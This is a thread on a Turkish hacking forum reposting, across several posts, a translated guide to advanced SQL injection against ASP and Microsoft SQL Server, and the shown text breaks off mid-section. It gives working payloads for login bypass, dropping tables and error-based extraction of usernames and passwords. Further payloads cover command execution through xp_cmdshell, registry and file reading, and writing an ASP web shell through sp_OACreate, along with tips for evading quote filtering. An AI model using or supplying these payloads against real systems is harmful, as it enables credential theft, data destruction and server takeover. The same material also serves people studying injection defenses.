![]() |
|
|||||||
| Web - Server Hacking & Security Web Hacking Hakkında Bilmek istediğiniz Herşey,koruma yolları ve güncel açıklar ile ilgili Bölümümüz |
![]() |
|
|
LinkBack | Seçenekler | Stil |
|
|
#1 (permalink) |
|
Teğmen
![]() Üyelik tarihi: Feb 2007
Mesajlar: 65
|
İleri Düzey SQL Enjeksiyonu Kullanımı
Merhaba arkadaslar internette dolasirken önüme bi döküman geldi ve yararli olucağnı düşündüm ve paylasmak istedim Dökümanin içinde anlatilan konular aşağıda yazmaktadir umarim beğenirsiniz...
Icindekiler: Takdim: Giris: Hata mesajlari ile bilgi edinme Ileri derecede erisim saglama Xp_cmdshell Xp_regread Diger genisletilmis usuller Birbiriyle baglantili(linked)serverlar Ozel genisletilmis depolanmis usuller BCP kullanarak text dosya yaratma SQL serverlerindeki ActiveX otomasyon script leri Depolanmis uygulamalar Ileri duzeyde SQL enjeksiyonu Aktarmasiz dizinler Ikinci sira SQL enjeksiyonu Uzunluk limitleri Denetlemeden kurtulma Savunmalar Girdi (input) onayi SQL server kilitlenmesi Referasnlar Dizin Takdim: Bu dokuman genel SQL (Structured Query Language yani Yapilandirilmis Sorgu Dili) enjeksiyon tekniginin, populer Microsoft Internet Information Server/Active Server Pages/SQL server platformuna nasil uygulandigini detayli bicimde tartisir. Ayrica SQL un nasil applicationlara, adreslere, bazi bilgi onaylarina, ve database kilitleme konularina enjecte edilecegi bu dokumanda degisik yollardan anlatilir. Bu dokuman hem web application gelistiricileri, hemde guvenlik konusunda profesyonle olanlar tarafindan okunulmasi icin hazirlanmistir. Giris: SQL alakali database lerle baglantiya gecmek icin kullanilan bir text dilidir. SQL in bir cok degisik sekli vardir; su anda kullanilan dialoglarin bir cogu en son ANSI standartiyla donatilmis SQL-92 versiyonundan gelmektedir. SQL in gorevi yapan tipik unitesi “query” yani sorgu kismidir. Bu kisim bir cok kelime ve cumleden olusur ve bunlar olayi bir sonuc seti, dizesi haline getirir. Bu cumleler veya ifadeler sistemdeki database yin yapisinda degisiklige yol acmaniza imkan verir.(bunu yapmak icin Data Definition Language Statements veya DDL kullanilmalidir). Bu dokumanda ozellikle Microsoft SQL serverlari tarafindan kullanilan Transact-SQL, SQL dialoglarini derinlemesine tartisacagiz. SQL enjeksiyonunun olus bicimi; saldiriyi yapan kisinin bir dizi SQL kodlarini veya kelimelerini; data inputu bir application a manipule yoluyla sokma yontemi kullanarak “query” icine yerlestirmesiyle olur.. Tipik bir SQL kodu asagidaki gibidir; Select id, name, surname from authors Yani Kimlik secimi, yazarlar listesinden isim ve soyisim Simdi bu cumle bize yazarlarin oldugu listeyi sira halinde cikartir. Ama istenirse “sonuc seti” bir tek yazara indergenebilir; select id, forename, surname from authors where forename = ’john’ and surname = ’smith’ Burda cok onemli bir noktaya dikkat etmek gerekir. Farkettiginiz uzere isim ve soyisim cifte tirnak icine degil tek tirnak icine alinmistir. ‘john’ ve ‘smith’. Buradan varsayabilirizki bu isim ve soyad kullanici listesinden geliyor. Bu yuzden saldiriyi yapacak olan kisi SQL enjecte etme ve yerlestirme sansini yakalayabilir. Mesela: Forename: jo’hn Surname: smith Ve ‘query string’ yani ‘sorgu dizgisi’ su sekli alir; select id, forename, surname from authors where forename = ’jo’hn’ and surname = ’smith’ Database bu komutu calistirmaya calistiginda, buyuk ihtimalle asagidaki gibi bir hata mesaji verecektir; Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near ’hn’. Bunun olmasinin sebebi, tek tirnak isaretinin, tek tirnak isaretli ve limitli bilgileri kirmaya, veya bolmeye calismasidir. Bundan dolayi database kendiliginden ‘hn’ komutunu kullanarak islemi tamamlamaya calisir ama basarili olamaz. Eger saldiriyi yapan kisi ‘input’ u yani ‘girdi’yi su sekilde ozellestirmis ve indirgemis olsaydi; Forename: jo’; drop table authors-- Surname: Yazarlarin bulundugu ‘table’ veya ‘cizelge’ silinmis olacakti. Bunun sebeplerini daha sonar aciklayacagiz. Peki yukaridaki isleme bakarak ne sonuc cikartabiliriz? Diyebilirizki tirnak isaretlerinin bir tanesini yazmayarak, yani tek tirnak isareti kullanarak yazar listesini silebiliyoruz. Bu dogru ama cozum olarak ele alindiginda bu metodla ilgili bi kac problem ortaya cikiyor. Birincisi butun user-supplied bilgileri her zaman ‘string’ yani dizi formunda kullanilmaz. Ornegin eger bizim kullanici komutumuz ‘id’ yani ‘kimlik’ numarasiyla bir yazari bulabilseydi, komut suna benzer bir hal alacakti; select id, forename, surname from authors where id=1234 Bu durumda saldiriyi yapan kisi SQL komutunu numaralarin sonuna ekleyebilir. Diger bazi SQL dialoglarinda, degisik limitleyiciler kullanilabilir. Mesela Microsoft Jet DBMS de tarihleri ‘#’ simgesiyle limitlendirirsiniz. Ikincisi tek tirnak isaretlerinden birini silerek islemi bitirmek gorundugu gibi cok basit bir cozum yolu degildir. Bunun sebeplerini ilerki konularda aciklayacagiz. Yukarida belirttigimiz onemli noktalari Active Server Page (ASP) log in (giris) sayfasini (ki bu sayfa SQL server database ine erisir ve bizim kendi kurdugumu yapay ‘application’ lara erisim saglar) kullanarak daha iyi anlasilmasini saglayabiliriz. Bu kode, kullanicinin ‘form’ sayfasinda nicki ni ve sifresini yazdigi ‘form’ sayfasinin kodudur; <HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD>
__________________
[T][S][H]
|
|
|
|
|
|
#2 (permalink) |
|
Teğmen
![]() Üyelik tarihi: Feb 2007
Mesajlar: 65
|
<BODY bgcolor=’000000’ text=’cccccc’>
<FONT Face=’tahoma’ color=’cccccc’> <CENTER><H1>Login</H1> <FORM action=’process_login.asp’ method=post> <TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100% width=100></INPUT></TD></TR> <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR> </TABLE> <INPUT type=submit value=’Submit’> <INPUT type=reset value=’Reset’> </FORM> </FONT> </BODY> </HTML> Bu ’process_login.asp’ kodudur ve, gercek log in “giris:” islemini yapan koddur. <HTML> <BODY bgcolor=’000000’ text=’ffffff’> <FONT Face=’tahoma’ color=’ffffff’> <STYLE> p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} </STYLE> <%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form(debug) == true ) Response.write( str ); } function Login( cn ) { var username; var password; username = Request.form(username); password = Request.form(password);
__________________
[T][S][H]
|
|
|
|
|
|
#3 (permalink) |
|
Teğmen
![]() Üyelik tarihi: Feb 2007
Mesajlar: 65
|
Response.end
} } function Main() { //Set up connection var username var cn = Server.createobject( ADODB.Connection ); cn.connectiontimeout = 20; cn.open( localserver, sa, password ); username = new String( Request.form(username) ); if( username.length > 0) { Login( cn ); } cn.close(); } Main(); %> Buradaki kritik nokta “process_login.asp’ bolumu olan ‘quary string’ yani sorgu dizinini yaratan bolumdur. var sql = select * from users where username = ’ + username + ’ and password = ’ + password + ’; Eger kullanici asagidaki gibi bir komut yazarsa; Username: ’; drop table users-- Password: Bu komut butun kullanici listesini siler ve hicbir kullanicinin kendi hesabina ulasmasina izin vermez. Transact-SQL de ‘--‘karakteri dizisi ‘tek satir sirasi olarak adlandirilir. Ve ‘;’ karakteri bir sorgu dizinin sonunu ve digerinin baslangicini ifade eder. Username yani kullanici adinin sonundaki ‘--‘ karakteri hata mesaji almadan islemi bitirmek icin gereklidir. Kullanici listesini ele gecirdigimize gore asagidaki komutlari kullanarak saldiriyi yapan kisi listeden herhangi bir isimle ‘log in’ yapabilir; Username: admin’— Saldirgan asagidaki kodla listedeki ilk isimle log in yapabilir; Username: ’ or 1=1— Hernekadar ilginc gibi gelsede saldirgan kendi kafasindan uydurdugu herhangi bir isimle log in yapabilir asagidaki komutu kullanarak; Username: ’ union select 1, ’fictional_user’, ’some_password’, 1-- Bu yontemin ise yaramasinin sebebi saldirganin yazdigi bu kodlarin application i sasirtarak bu kodlarin database den geldigine inandirilmasidir. Hata Mesajlarini Kullanarak Bilgi Edinmek: Bu teknigi ilk bulan kisi David Litch adindaki bir yazardir. David daha sonar bu teknikle ilgili bir dokuman yazmisti ve bircok konuyla ilgili yazarda bu calismaya referansta bulunmuslardi. Bu teknik hata mesajinin altinda yatan mekanizmalari tartisir ve okuyucularin konuyu daha iyi anlamasi ve hatta kendi mekanizmasini olusturmasina yardimci olur. Database i manipule etmek, sasirtmak icin saldirgan belli basil database lerin ve table larin yapisini bilmek zorunda olacaktir. Ornegin bizim yapmak istedigimiz bir kullanici listemiz asagindaki komutlarla olusturulabilinir; create table users( id int, username varchar(255), password varchar(255), privs int ) Ve asagidaki kullanicilar eklenebilinir; insert into users values( 0, ’admin’, ’r00tr0x!’, 0xffff ) insert into users values( 0, ’guest’, ’guest’, 0x0000 ) insert into users values( 0, ’chris’, ’password’, 0x00ff ) insert into users values( 0, ’fred’, ’sesame’, 0x00ff ) Diyelimki saldirgan kendisi icin bir kullanici hesabi eklemek istiyor. Kullanici larin bulundugu table in yapisini bilmeden bunu basarmasi gercekten cok zordur. Sansi yaver gitse bile ‘privs’ alaninin onemi ve dogrulugu belirsizdir. Saldirgan ‘1’ yazip, kendisine dusuk-ozellikli veya rutbeli bir uyelik yaratabilir. Bunu yaptigi zaman buyuk ihtimalle bir hata mesaji cikar (ki bu default ASP nin genel davranisidir.). Saldirgan bu mesajdan datasbase in butun yapilanmasini cozebilir ve ASP application inin SQL serverina baglanmak icin kullandigi tum degerleri yarattigi profiling veya uyeligin icinde okuyabilir. (Asagidaki ornekler yukarida anlatilan tekniklerin nasil kullanildigininin anlasilmasi acisindan olusturulmus ornek database ler ve .asp dizinleridir.) Oncelikle saldirgan query yani sorgu uzerinde calisabilecegi table larin ve alanlarin isimlerini olusturur.. Bunu yapmak icin saldirgan ‘select’ komutunun ‘having’ cumlesini kullanir; Username: ’ having 1=1-- Bu bir hata mesajini cikmasini saglar; Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’ [Microsoft][ODBC SQL Server Driver][SQL Server]Column ’users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 Evet bu mesajdan dolayi simdi saldirgan table ismini ve ilk ‘column’ yani sutun ismini bilir. Her alani ‘group by’ cumlesine bolerek bu sekilde sutunlari devam edilebilinir.; asagidaki gibi; Username: ’ group by users.id having 1=1— (Buda hata mesajinin cikmasina yol acar) Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’ [Microsoft][ODBC SQL Server Driver][SQL Server]Column ’users.username’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35 Sonunda saldirgan asagidaki kullanici adina ulasir; ’ group by users.id, users.username, users.password, users.privs having 1=1-- Bu hic bir hata mesajina sebep olmaz ve bu asagidaki koda esittir; select * from users where username = ’’ Simdi saldirgan bilirki ‘query’ yani sorgu sadece ‘users table’ dan bahsediyor, ve ’id, username, password, privs’ bu sira halinde kullaniyor. Eger saldirgan ‘column’ (sutun) larin ne cesit oldugunu bulabilirse bu cok yararli olur. Ve bununda ‘type conversion’ hata mesajiyla yapabilir; Username: ’ union select sum(username) from users— Bu komut SQL serverinin bir acigindan faydalanir. Bu acik SQL in iki dizi setindeki numaralarin esit olup olmadigina bakmadan ‘sum’ cumlesini calistirir. Yazisal bir alanda sayisal bir islem yapmaya calismak asagidaki hata mesajiyla sonuclanir. Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35 Ve bu bize ‘username’ alaninin tipinin ‘varclar’ oldugu ogretir. Eger sayisal bir username alani tipinin toplamini bulmaya calisirsak, ilk dizinsetideki numaralarin birbirine esit olmadigini anlatan bir hata mesaji aldik; Username: ’ union select sum(id) from users-- Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’ [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35 Bu teknigi database icindeki herhangi bir table in ‘column’ (sutun) tipini bulmak icin kullanabiliriz; Bu saldirgana iyi organize edilmis bir sorgu yaratma imkani verir. Username: ’; insert into users values( 666, ’attacker’, ’foobar’, 0xffff )-- Ama bu teknigin potansiyeli bununlada kalmiyor. Saldirgan elde ettigi her hata mesajinda database ve diger konularla ilgili bilgiler ele gecirebilir. Standart hata mesajlari icin kullanilacak format dizinleri asagidaki kodla alinabilir; select * from master..sysmessages Ele gecirdigimiz bu listeyi incelemek bazi ilginc mesajlari ortaya cikartacaktir. Mesela en kullanisli hata mesajlarindan bir tanesi cevirme olayiyla ilgilidir. Eger yazi bicimindeki bir dizini (string) i bir tamsayiya cevirmek isterseniz, string in full icerigi hata mesajinda verilir. Bizim ornek log in sayfamizda, ornegin, asagidaki verilen komut calistirilarak, komutta verilen username uygun SQL versiyonuna ve server i calistiran sisteme geri dondurulecektir; Username: ’ union select @@version,1,1,1-- Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ’ to a column of data type int.
__________________
[T][S][H]
|
|
|
|
|
|
#4 (permalink) |
|
Teğmen
![]() Üyelik tarihi: Feb 2007
Mesajlar: 65
|
/process_login.asp, line 35
Bu onceden insa edilmis olan ’@@version’ sabitini bir tam sayiya cevirmeyi dener cunku kullanici table indaki ilk sutun (column) bir tam sayidir. Bu teknik database deki herhangi bilgiyi table da ve database in icinde okumak icin kullanilabilinir. Saldirgan kullanici adi ve password u bulmayi amacladigindan kullanici adlarini ‘user’s table’ dan soyle okuyabiliriz; Username: ’ union select min(username),1,1,1 from users where username > ’a’-- Bu komut ‘a’ dan buyuk olan minimum kullanici adini secer ve bunu bir tam sayiya cevirmeye calisir; Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’admin’ to a column of data type int. /process_login.asp, line 35 Mesajdaki ‘admin’ kelimesini gorunce, saldirgan bir ‘admin’ hesabinin varligindan haberdar olur. Simdi saldirgan asagidaki ‘where’ cumlesini kullanarak elde ettigi her yeni kullanici adini tekrar tekrar yerlestirerek table daki ‘dizinlerin’ icine sizabilir; Username: ’ union select min(username),1,1,1 from users where username > ’admin’-- Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’chris’ to a column of data type int. /process_login.asp, line 35 Saldirgan kullanici isimlerini toplamaya basladimi, deymeyin keyfine artik passwordleri de rahat rahat toplayabilr; Username: ’ union select password,1,1,1 from users where username = ’admin’-- Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’r00tr0x!’ to a column of data type int. /process_login.asp, line 35 Bu teknigin daha gelismis ve ust duzey yontemi elde edilen butun kullanici isimlerini ve password leri bir tek ‘string’ dizin icinde toplamayla ve bunlari toplu halde bir tam sayiya cevirmeyle olur. Bu diger bir onemli noktayi ortaya cikartir. Transact-SQL komutlari hic bir anlam degisikligine ugramadan ayni satir uzerinde toplanabilir. Tum degerler bu sekilde bir araya toplanabilir veya bitistirilebilir; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’ ’+username+’/’+password from users where username>@ret select @ret as ret into foo end Saldirgan bu kullanici adiyla log in yapar; (tabiki hepsi ayni satir uzerinde) Username: ’; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’ ’+username+’/’+password from users where username>@ret select @ret as ret into foo end-- Bu bir tek sutun (column) halinde ‘ret’ iceren bir ‘foo’ table i yaratir, ve bizim stringlerimizi (dizinlerimizi) bunun icine koyar. Normalde dusuk ozellikli veya dusuk rutbeli bir kullanici dahi bu ornek veya gecice database de bir table olusturabilir; Username: ’ union select ret,1,1,1 from foo-- Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’: admin/r00tr0x! guest/guest chris/password fred/sesame’ to a column of data type int. /process_login.asp, line 35 Ve sonar her seyi temizleyip butun table i silmek icin bu komut kullanilir; Username: ’; drop table foo-- Yukarida verdigimiz tum bilgiler bu teknigin kullanilisinda ve esnekliginde bir baslangic bile sayilamaz. Unutulmamalidir ki bir saldirgan hata mesajlarindan ne kadar cok bilgi elde ederse, kendi isinide o kadar kolaylastirir. Ileri Duzeyde Erisim Saglamak: Database in kontrolunu eline geciren saldirganin yapmak isteyecegi ilk sey dogal olarak tum network ude ele gecirmek veya kontrol etmektir. Bunuda asagidaki methodlari kullanarak yapabilir; 1. Database server inda SQL server user (kullanici) olarak komutlari calistirmak icin xp_cmdshell genisletilmis depolanmis application lar kullanilir. 2. (Eger SQL, server local system yani server yerel sistemi olarak calisiyorsa) xp_refread genisletilmis depolanmis application lar kullanilarak registry key leri ve SAM leri okunabilir. 3. Server i etkilemek icin diger genisletilmis depolanmis application lar kullanilir. 4. Linked server larda ‘query’ sorgu lari calistirir. 5. SQL server islemlerinden exploit kodunu calistirarak kendi ozel genisletilmis depolanmis application lari yaratir. 6. Serverdaki herhangi bir dosyayi okumak icin ‘bulk insert’ yontemi kullanilir. 7. bcp yi kullanarak istege bagli text dosyalari yaratir. 8. _OACreate, sp_OAMethod and sp_OAGetProperty sistemini kullanarak Ole Automation (ActiveX) application lari olusturur ve bir ASP dizininin yaptigi herseyi yapabilir Bunlar en cok kullanilan saldiri senaryolarindan sadece bir kac ornektir. Dolayisiyla saldirgan diger yollarla saldiriyi gerceklestirebilir. Bu ornekleri sadece SQL in neler yapabilecegini gostermek icin veriyoruz. Simdi hepsini tek tek inceleyelim. Xp_cmdshell Genisletilmis ve depolanmis usuller temel olarak derlenmis Dynamic Link Libraries (DLLs). DLL gercekte SQL server ozel cagri konvansiyonu kullanarak, disariya aktarma olayina calistirmaya yarar. Bunlar SQL server application larina C/C++ tam kapasite ulasima izin verir ve bu imkani saglar. Ve bu cok kullanisli bir ozelliktir. Bir kac tane genisletilmis ve depolanmis application lar SQL server inda yaratilir ve e mail gondermek gibi veya registry le baglantiya gecmek gibi degisik islevlerde bulunur. Xp_cmdshell istege bagli komut dizilerinin icrasina izin veren ve system icinde yaratilan bir genisletilmis ve depolanmis yontemdir. Ornegin; exec master..xp_cmdshell ’dir’ bu komut SQL serve isleminin en son calisan dizininin dizin listesini ele gecirir; exec master..xp_cmdshell ’net1 user’ Sistemdeki tum kullanicilarin listesini elde eder. Normalde SQL ya yerel system account u veyada domain kullanici account u olarak calistigindan, saldirgan cok buyuk bir zarar verebilri. Xp_regread: Sistem icinde yaratilmis genisletilmis, depolanmis yontemlerden bir taneside xp_regxxx islemidir. xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwrite Asagidaki ornek bu fonksiyonlarin bazilarini kullanir; exec xp_regread HKEY_LOCAL_MACHINE, ’SYSTEMCurrentControlSetServiceslanmanserverp arame ters’, ’nullsessionshares’ (bu server daki ne turlu null-session paylarinin oldugunu bulur) exec xp_regenumvalues HKEY_LOCAL_MACHINE, ’SYSTEMCurrentControlSetServicessnmpparameter svali dcommunities’ (Bu serverda yapilandirilan butun SNMP topluluklarini ortaya cikartir.SNMP topluluklari cok az siklikla degistirildiklerinden ve bircok host tarafindan paylasildiklarindan dolayi, saldirgan elde ettigi bilgilerle network un ayni bolgesinde bulunan, ag donanim larini veya applicantionlarini tekrar yapilandirabilir) Saldiriyi yapan kisinin SAM I okumak icin ve sistem servisinin yapisini degistirmek icin bu yontemleri nasil kullanacagini tahmin etmek zor degildir. Bunu yaparak sistem bird daha acildiginda reboot yapmaya baslar veya bir dahaki sefere bir kullanici server a baglandiginda istegenize bagli komutlari calistirir. Diger Genisletilmis Usuller: Xp_servicecontrol yontemi bir kullaniciya sunulan hizmetleri baslatma, bitirme, durdurma, ve devam ettirmesine izin verir. exec master..xp_servicecontrol ’start’, ’schedule’
__________________
[T][S][H]
|
|
|
|
|
|
#5 (permalink) |
|
Teğmen
![]() Üyelik tarihi: Feb 2007
Mesajlar: 65
|
exec master..xp_servicecontrol ’start’, ’server’
Buradada bir kac tane yararli genisletilmis depolanmis yontemleri sunuyoruz; Xp_availablemedia: butun uygun suruculeri ortaya cikartir. Xp_dirtree: bir dizin agaci yaratilmasini saglar. Xp_enumdsn: ODBC bilgi kaynaklarini bir bir siralar. Xp_loginconfic: Serverin guvenlik moduyla ilgili bigileri acik eder Xp_makecap: kullaniciya server da sykistirilmis dosya arsivi yaratma izni verir. (bu islem server in ulasabildigi her dosya icin gecerlidir.) Xp_ntsec_enumdomains: server in ulasbilecegi domainleri siralar. Xp_terminate_process: PID si verilen bir islemi durdurmaya calisir. Linked Serverlar: SQL serverlarin ‘linked’ olmasini saglayan bir mekanizma sunar. Bu bir database serverindeki sorgunun digerindekini manipule etmesine yarar. Bu linkler master..sysservers da depolanir.Eger bir link serveri ’sp_addlinkedsrvlogin’ islemi yapilarak olusturulmussa, pre-authenticated bir linkin varligi ortaya cikar ve bu linke server log in yapmadan bu pre-authenticated linkin icinden gecerek erisim saglar. ‘openquery’ fonksiyonunu query lerin link server a karsi kullanilmasini saglar. Ozel Genisletilmis Depolanmis Usuller: API adini verdigimiz genisletilmis depolanmis yontem en kolaylarindan bir tanesi, ve icinde zehirli kodlari tasiyan genisletilmis depo DLL ini yaratmak gercekten hicte zor degildir. Komut satirlarini kullanarak DLL I SQL serverina upload etmenin degisik yollari vardir, ve bundan baska HTML downloadlari ve FTP dizinleri gibi farkli iletisim mekanizmalari iceren degisik methodlar vardir. SQL srverinin ulasabilecegi bir DLL dosyasi sistemde var oldugu surece, saldirgan genisletilmis depo islemlerini asagidaki komutu kullanarak ekleyebilir; sp_addextendedproc ’xp_webserver’, ’c: empxp_foo.dll’ Bir kere bu islem calistirilip bitirildiginde, istenilirse asagidaki kodla yokedilebilir; sp_dropextendedproc ’xp_webserver’ Onemli Text Dosyalarini Table lara donusturme: Asagidaki gibi basit bir tale yaratirsiniz ve ‘bulk insert’ cumlesini kullanarak, bir text dosyasini bir gecici table icine koyabilirsiniz; create table foo( line varchar(8000) ve sonar ‘bulk insert’ dosyadaki bilgileri icine koymak icin calistirir; bulk insert foo from ’c:inetpubwwwrootprocess_login.asp’ Yukarida anlattigimiz hata mesaji tekniklerinden bir tanesini kullanarak bilgi elde edinilebilinir veya bir ‘union’ secerek ve application tarafindan geri gonderilen bilgilerle, text dosyasindaki bilgileri birlestirmek suretiyel bilgi elde edebilir. Bu, olasi ASP dizin kaynaklarini veya database server inda depo edilen kaynak kodlarini elde etmekte cok ca kullanilan yararli bir yontemdir. BCP Kullanarak Text Dosyalari Yaratmak: ‘bulk insert’ teknigine karsi ‘opposite’ teknigini kullanarak istege bagli text dosyalari yaratmak kolaydir. Ama maalesef bunun icin bir komut araci olan ‘bcp’ yani ‘bulk copy program’ gereklidir. Bcp, database SQL serveri islemine disardan eristigi icin, bir log in gerekir. Saldirgan ‘integrated’ guvenlik aciklarindan faydalanarak , veya kendisi bir lon gin yaratarak, bu sorunu kolayca cozer. Tabi serverin bunu kullanabilecek bir sekilde ayarlanmis olmasi gerekir. Bu asagidaki komut formatiyla devam eder. bcp SELECT * FROM test..foo queryout c:inetpubwwwroot uncommand.asp -c -Slocalhost -Usa -Pfoobar Dizinin calistirdigi ‘S’ parametresi serverdir, U username , P de passsworddur. SQL serverlerindeki ActiveX otomasyon dizinleri; Bazi icerde olusturulmus genisletimis depo islemleri ActiveX Automation dizinlerinin SQL serverinda yaratilmasini saglamistir. Fonksiyon olarak bu dizinler windows dizin hostunda calisan dizinlerle ayni yapidadir. Ve bunlar otomatik calisma sistemine baglanmis cisimler yaratip bunlarla iliskiye gectiklerinden dolayi, tipi olarak VBScript or JavaScript. Ayni yolla Transack-SQL icinde yazilan bir otomasyon dizini ASP dizini ve WSH dizininin yaptigi her seyi yapabilir. Olayi daha iyi kavramak icin bazi ornekler verelim; 1. Bu ornek bir ’wscript.shell’ yaratmak icin bir parka notepad kullanir; -- wscript.shell example declare @o int exec sp_oacreate ’wscript.shell’, @o out exec sp_oamethod @o, ’run’, NULL, ’notepad.exe’ Asagidaki kullanici ismi yerlestirilerek (tabiki ayni satir uzerine) ayni olay bizim hazirladigimiz ornek senaryomuzdada calistirilabilir; Username: ’; declare @o int exec sp_oacreate ’wscript.shell’, @o out exec sp_oamethod @o, ’run’, NULL, ’notepad.exe’-- 2. Bilinen bir text dosyasini okumak icin asagidaki ornek ’scripting.filesystemobject’ i kullanir; -- scripting.filesystemobject example - read a known file declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate ’scripting.filesystemobject’, @o out exec sp_oamethod @o, ’opentextfile’, @f out, ’c: oot.ini’, 1 exec @ret = sp_oamethod @f, ’readline’, @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, ’readline’, @line out end 3. bu ornek sorgu dizininde kendisine verilen herhangi bir komutla calisan bir ASP script yaratir; -- scripting.filesystemobject example - create a ’run this’ .asp file declare @o int, @f int, @t int, @ret int exec sp_oacreate ’scripting.filesystemobject’, @o out exec sp_oamethod @o, ’createtextfile’, @f out, ’c:inetpubwwwrootfoo.asp’, 1 exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<% set o = server.createobject(wscript.shell): o.run( request.querystring(cmd) ) %>’ Burda aklimizda tutmamiz gereken onemli nokta Windows NT4, IIS4 platformunda calisan bu komutlardan ASP scripti tarafindan kullanilanlari ‘system account’ olarak belirecektir. Ama IISS de bunlar IWAM_xxx account olarak calisacaktir. 4. Bu ornek bu teknigin esnekligini gosterir. Bu ‘speech.voicetext’ objesini kullanarak SQL serverinin konusmasini saglar; declare @o int, @ret int exec sp_oacreate ’speech.voicetext’, @o out exec sp_oamethod @o, ’register’, NULL, ’foo’, ’bar’ exec sp_oasetproperty @o, ’speed’, 150 exec sp_oamethod @o, ’speak’, NULL, ’all your sequel servers are belong to,us’, 528 waitfor delay ’00:00:05’ Bu komut elbette bizim ornek senaryomuzdada asagidaki ‘username’ kullanilarak calistirilabilinir;(dikkat edin ornek sadece bir script enjekte etmiyor ayni zamanda sisteme admin olarak baglaniyor; Username: admin’; declare @o int, @ret int exec sp_oacreate ’speech.voicetext’, @o out exec sp_oamethod @o, ’register’, NULL, ’foo’, ’bar’ exec sp_oasetproperty @o, ’speed’, 150 exec sp_oamethod @o, ’speak’, NULL, ’all your sequel servers are belong to us’, 528 waitfor delay ’00:00:05’-- Depolanmis uygulamalar Genelde bize soylenen sey eger bir ASP application i database de depolanmis yontemlerden bir tanesini kullanirsa, SQL enjeksiyonu imkansizdir. Bu yariyariya dogrudur ama bu olay tamamen depolanmis islemlerin ASP scritplerinden nasil cagrildigina baglidir. Temel olarak; eger parametrelendirilmis bir dizin calistirilirsa, ve kullanicinin olusturdugu parametreler dizinin icine guvenli bir bicimde sokulursa, SQL enjeksiyonu imkansiz hale gelir. Ancak eger saldiran calismakta olan ve data yla alakasi olmayan sorgu dizinleri uzerinde her hangi bir etki olusturabilirse, buyuk ihtimalle database i kontrol edebilir. Bu konuyla ilgili genel kurallar sunlardir; Eger ASP dizinleri servera gonderilebilecek SQL sorgu dizinleri yaratabilirse, bu SQL enjeksiyonu icin cok hassas bir noktadir (depolanmis ve genisletilmis islemler kullanilsa dahi). Eger ASP dizinleri parametrelerin gorevlerini, depolanmis prosedurlere yapistirabilecek bir prosedur objesi kullanirsa, kullanilan obje nin yapisini bagli olsa bi le bu cok guvenli bir yoldur. Tabiki hergun yeni saldiri teknikleri gelistirildiginden dolayi, en iyi antreman yolu butun kullanicilar tarafindan olusturulan girdilerin dogrulugunu kanitlamak onaylamaktir. Deplanmis prosedur le yapilan sorgu enjeksiyon noktasini gosterebilmek icin asagidakini uygulayin; sp_who ’1’ select * from sysobjects or sp_who ’1’; select * from sysobjects Ileri duzeyde SQL enjeksiyonu Kullanici tarafindan bilgi, ‘massage’ yapilarak yani uzunlugu kisaltilariak gonderilmedigi surece, buyuk ihtimalle bir web application i ‘tek tirnak isareti’tekniginden ve karakterinden kolayca kurtulur. Bu bolumde SQL enjeksiyonuna karsi hazirlanmis olan savunma sistemlerini nasil atlatacagimizi ve belli bir duzeye kadar log in yapabilecegimizi tartisacagiz. Aktarmasiz veya tirkak isaretsiz dizinler :
__________________
[T][S][H]
|
|
|
|
|
|
#6 (permalink) |
|
Teğmen
![]() Üyelik tarihi: Feb 2007
Mesajlar: 65
|
Ara sirada olsa VBScript ’replace’ ozelligini kullanarak, bazi internet gelistiricileri bir applicationi korumaya calisabiliyorlar. Bunuda ayni zamanda tek tirnak isareti tekniginden kurtularak yapiyorlar.
